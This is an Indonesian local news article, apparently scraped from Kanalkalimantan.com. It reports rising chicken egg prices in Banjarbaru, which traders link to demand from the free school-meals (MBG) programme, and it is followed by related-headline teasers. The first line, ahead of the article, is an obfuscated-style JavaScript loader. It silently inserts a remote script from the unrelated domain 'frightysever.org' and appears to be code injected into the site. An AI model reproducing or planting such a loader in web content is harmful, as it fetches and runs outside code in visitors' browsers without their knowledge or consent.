(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Harga telur ayam ras di Kota Banjarbaru merangkak naik di angka Rp31.000 per kilogram. Bahkan tertinggi didapati harga telur ayam ras menyentuh angka Rp33.000 per kilogram (Kg).
Kenaikan ini disebut terjadi sejak berlangsungnya program Makan Bergizi Gratis (MBG) beberapa bulan terakhir.
Salah satu pedagang telur di Pasar Bauntung Banjarbaru, Darmanto mengakui ada kenaikan harga telur ayam ras. Kenaikan harga telur akibat tingginya permintaan untuk program MBG.
Baca juga: Renang Banjarbaru Rebut Empat Medali dari OWS Porprov XII
“Sekarang Rp31.000 per kilogram, jadi naiknya untuk bulan ini Rp2.000 per kilogram, sebelumnya Rp29.000,” ujar Darmanto, Senin (27/10/2025) siang.
Pedagang sembako ini mengatakan harga telur ayam ras sempat berada di angka Rp30.000 satu bulan lalu, kemudian naik menjadi Rp31.000 dalam dua pekan belakangan.
“Karena MBG ini sangat pengaruh. Pembeliannya setiap hari meningkat, kalau biasanya seminggu 3-4 ton, sekarang 5 ton seminggu,” ungkapnya.
Menjelang libur Natal dan Tahun Baru 2025 sekaligus pelaksanaan Haul Guru Sekumpul, dia memprediksi tidak akan ada penurunan harga telur ayam rasa dalam satu bulan ke depan.
Baca juga: Emas Perdana HSU dari Gulat, Judo Sumbang Dua Medali di Porprov XII Kalsel
“Seperti tahun lalu gak ada, malah bisa naik lagi,” pungkas Darmanto.
Yayat, penjual martabak mengaku kerap diberi harga jual oleh langganan untuk stok telur dibeli dari penyedia telur Darmanto. Dia membeli telur bebek per biji Rp3.000 dan telur ayam rasa Rp30.000 per Kg.
“Kali ini harganya biasa aja, Rp30.000 mungkin karena harga langganan, semoga harganya terus normal seperti ini,” ujar Yayat.
Baca juga: Uang Daerah ‘Parkir’ Rp5,1 Triliun, Bank Kalsel Ternyata Salah Input
Di sisi lain Nadia, ibu rumah tangga mengaku membeli telur ayam ras seharga Rp33.000 per kilogram.
“Sebelumnya ada satu kilogram sampai Rp33.000, tadi di sini beli satu rak Rp59.000 berarti kan tidak sampai Rp33 ribu satu kilogramnya,” jelas Nadia.
Bahan pokok lainnya pun yang ia beli menurutnya masih dalam keadaan stabil harganya. “Kalau yang naik udang sih, kalau cabai udah mulai turun harganya. Itu aja sih, sisanya stabil, ikan-ikan apa segala macam stabil, daging juga stabil,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.